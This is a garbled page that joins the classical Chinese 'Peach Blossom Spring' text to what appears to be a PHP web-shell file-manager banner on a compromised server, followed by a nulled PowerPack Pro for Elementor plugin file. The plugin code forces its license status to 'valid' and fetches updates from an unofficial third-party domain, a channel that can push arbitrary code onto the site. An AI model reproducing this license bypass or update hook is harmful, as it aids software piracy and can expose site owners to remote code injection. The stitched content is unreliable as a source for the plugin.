晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/rainic/www/oldTZh/wp-content/plugins/powerpack-elements/ |
Upload File : |
<?php
/**
* Plugin Name: PowerPack Pro for Elementor
* Plugin URI: https://powerpackelements.com
* Description: Extend Elementor Page Builder with 70+ Creative Widgets and exciting extensions.
* Version: 2.9.16
* Author: ایران فلتسام
* Author URI: https://flatsomee.ir
* License: GNU General Public License v2.0
* License URI: http://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: powerpack
* Domain Path: /languages
* Elementor tested up to: 3.7.1
* Elementor Pro tested up to: 3.7.3
*
* @package PPE
*/
require 'neximo-update/neximo-atuo-update.php';
$myUpdateChecker = Puc_v4_Factory::buildUpdateChecker(
'https://dl.flatsomee.ir/sources/plugins/powerpack-elements/skfioepwdkdpow.json',
__FILE__,
'powerpack-elements'
);
update_option('pp_license_status', 'valid');
update_option('pp_license_key', '*********');
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
define( 'POWERPACK_ELEMENTS_VER', '2.9.16' );
define( 'POWERPACK_ELEMENTS_PATH', plugin_dir_path( __FILE__ ) );
define( 'POWERPACK_ELEMENTS_BASE', plugin_basename( __FILE__ ) );
define( 'POWERPACK_ELEMENTS_URL', plugins_url( '/', __FILE__ ) );
define( 'POWERPACK_ELEMENTS_ELEMENTOR_VERSION_REQUIRED', '3.5.0' );
define( 'POWERPACK_ELEMENTS_PHP_VERSION_REQUIRED', '5.6' );
require_once POWERPACK_ELEMENTS_PATH . 'includes/helper-functions.php';
require_once POWERPACK_ELEMENTS_PATH . 'plugin.php';
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-admin-settings.php';
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-login-register.php';
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-header-footer.php';
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-config.php';
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-helper.php';
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-taxonomy-thumbnail.php';
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-posts-helper.php';
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-wpml.php';
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-attachment.php';
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-recaptcha.php';
require_once POWERPACK_ELEMENTS_PATH . 'includes/updater/update-config.php';
if ( is_pp_woo_builder() ) {
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-woo-builder.php';
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-woo-builder-preview.php';
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-woo-helper.php';
}
if ( did_action( 'elementor/loaded' ) ) {
require_once POWERPACK_ELEMENTS_PATH . 'classes/class-pp-templates-lib.php';
}
/**
* Check if Elementor is installed
*
* @since 1.0
*/
if ( ! function_exists( '_is_elementor_installed' ) ) {
function _is_elementor_installed() {
$file_path = 'elementor/elementor.php';
$installed_plugins = get_plugins();
return isset( $installed_plugins[ $file_path ] );
}
}
/**
* Shows notice to user if Elementor plugin
* is not installed or activated or both
*
* @since 1.0
**/
function pp_fail_load() {
$plugin = 'elementor/elementor.php';
if ( _is_elementor_installed() ) {
if ( ! current_user_can( 'activate_plugins' ) ) {
return;
}
$activation_url = wp_nonce_url( 'plugins.php?action=activate&plugin=' . $plugin . '&plugin_status=all&paged=1&s', 'activate-plugin_' . $plugin );
$message = sprintf( __( '%1$sPowerPack%2$s requires %1$sElementor%2$s plugin to be active. Please activate Elementor to continue.', 'powerpack' ), '<strong>', '</strong>' );
$button_text = __( 'Activate Elementor', 'powerpack' );
} else {
if ( ! current_user_can( 'install_plugins' ) ) {
return;
}
$activation_url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=elementor' ), 'install-plugin_elementor' );
$message = sprintf( __( '%1$sPowerPack%2$s requires %1$sElementor%2$s plugin to be installed and activated. Please install Elementor to continue.', 'powerpack' ), '<strong>', '</strong>' );
$button_text = __( 'Install Elementor', 'powerpack' );
}
$button = '<p><a href="' . $activation_url . '" class="button-primary">' . $button_text . '</a></p>';
printf( '<div class="error"><p>%1$s</p>%2$s</div>', wp_kses_post( $message ), wp_kses_post( $button ) );
}
/**
* Shows notice to user if
* Elementor version if outdated
*
* @since 1.0
*/
function pp_fail_load_out_of_date() {
if ( ! current_user_can( 'update_plugins' ) ) {
return;
}
$message = __( 'PowerPack requires Elementor version at least ' . POWERPACK_ELEMENTS_ELEMENTOR_VERSION_REQUIRED . '. Please update Elementor to continue.', 'powerpack' );
printf( '<div class="error"><p>%1$s</p></div>', esc_html( $message ) );
}
/**
* Shows notice to user if minimum PHP
* version requirement is not met
*
* @since 1.0
*/
function pp_fail_php() {
$message = __( 'PowerPack requires PHP version ' . POWERPACK_ELEMENTS_PHP_VERSION_REQUIRED . '+ to work properly. The plugins is deactivated for now.', 'powerpack' );
printf( '<div class="error"><p>%1$s</p></div>', esc_html( $message ) );
if ( isset( $_GET['activate'] ) ) {
unset( $_GET['activate'] );
}
}
/**
* Deactivates the plugin
*
* @since 1.0
*/
function pp_deactivate() {
deactivate_plugins( plugin_basename( __FILE__ ) );
}
/**
* Load theme textdomain
*
* @since 1.0
*/
function pp_load_plugin_textdomain() {
load_plugin_textdomain( 'powerpack', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
}
add_action( 'plugins_loaded', 'pp_init' );
function pp_init() {
if ( class_exists( 'Caldera_Forms' ) ) {
add_filter( 'caldera_forms_force_enqueue_styles_early', '__return_true' );
}
// Notice if the Elementor is not active.
if ( ! did_action( 'elementor/loaded' ) ) {
add_action( 'admin_notices', 'pp_fail_load' );
return;
}
// Check for required Elementor version.
if ( ! version_compare( ELEMENTOR_VERSION, POWERPACK_ELEMENTS_ELEMENTOR_VERSION_REQUIRED, '>=' ) ) {
add_action( 'admin_notices', 'pp_fail_load_out_of_date' );
add_action( 'admin_init', 'pp_deactivate' );
return;
}
// Check for required PHP version.
if ( ! version_compare( PHP_VERSION, POWERPACK_ELEMENTS_PHP_VERSION_REQUIRED, '>=' ) ) {
add_action( 'admin_notices', 'pp_fail_php' );
add_action( 'admin_init', 'pp_deactivate' );
return;
}
if ( ! function_exists( 'is_plugin_active' ) ) {
include_once ABSPATH . 'wp-admin/includes/plugin.php';
}
/* $lite_dirname = 'powerpack-lite-for-elementor';
$lite_active = is_plugin_active( $lite_dirname . '/powerpack-lite-elementor.php' );
$plugin_dirname = basename( dirname( dirname( __FILE__ ) ) );
if ( defined( 'POWERPACK_ELEMENTS_LITE_VER' ) || ( $plugin_dirname != $lite_dirname && $lite_active ) ) {
add_action( 'admin_init', 'pp_deactivate_lite', 1 );
} */
add_action( 'init', 'pp_load_plugin_textdomain' );
/**
* Enable CSV Upload option
*
* Enable CSV Upload option to bypass the WordPress security and upload the CSV file to the site.
* CSV files are used in PowerPack Table Widget for generating tables using preset data.
*
* @since 1.5.1
*
* @param Array $mimes Array of all the MIME types supported by WordPress.
*
* @return Array $mimes Array of all the MIME types supported by WordPress.
*/
$csv_upload = get_option('pp_enable_csv_upload');
if ( 'enabled' === $csv_upload ) {
add_filter( 'upload_mimes', function($mimes){
$mimes['csv'] = 'text/csv';
return $mimes;
} );
}
}
/**
* Enable white labeling setting form after re-activating the plugin
*
* @since 1.0.1
* @return void
*/
function pp_plugin_activation() {
$settings = get_option( 'pp_elementor_settings' );
if ( is_array( $settings ) ) {
$settings['hide_wl_settings'] = 'off';
$settings['hide_plugin'] = 'off';
}
update_option( 'pp_elementor_settings', $settings );
}
register_activation_hook( __FILE__, 'pp_plugin_activation' );
/**
* Add settings page link to plugin page
*
* @since 1.4.4
*/
function pp_add_plugin_page_settings_link( $links ) {
$links[] = '<a href="' . admin_url( 'admin.php?page=powerpack-settings' ) . '">' . __( 'Settings', 'powerpack' ) . '</a>';
return $links;
}
add_filter( 'plugin_action_links_' . POWERPACK_ELEMENTS_BASE, 'pp_add_plugin_page_settings_link' );
/**
* Auto deactivate PowerPack Lite.
*
* @since 2.1.0
*/
function pp_deactivate_lite() {
deactivate_plugins( 'powerpack-lite-for-elementor/powerpack-lite-elementor.php' );
}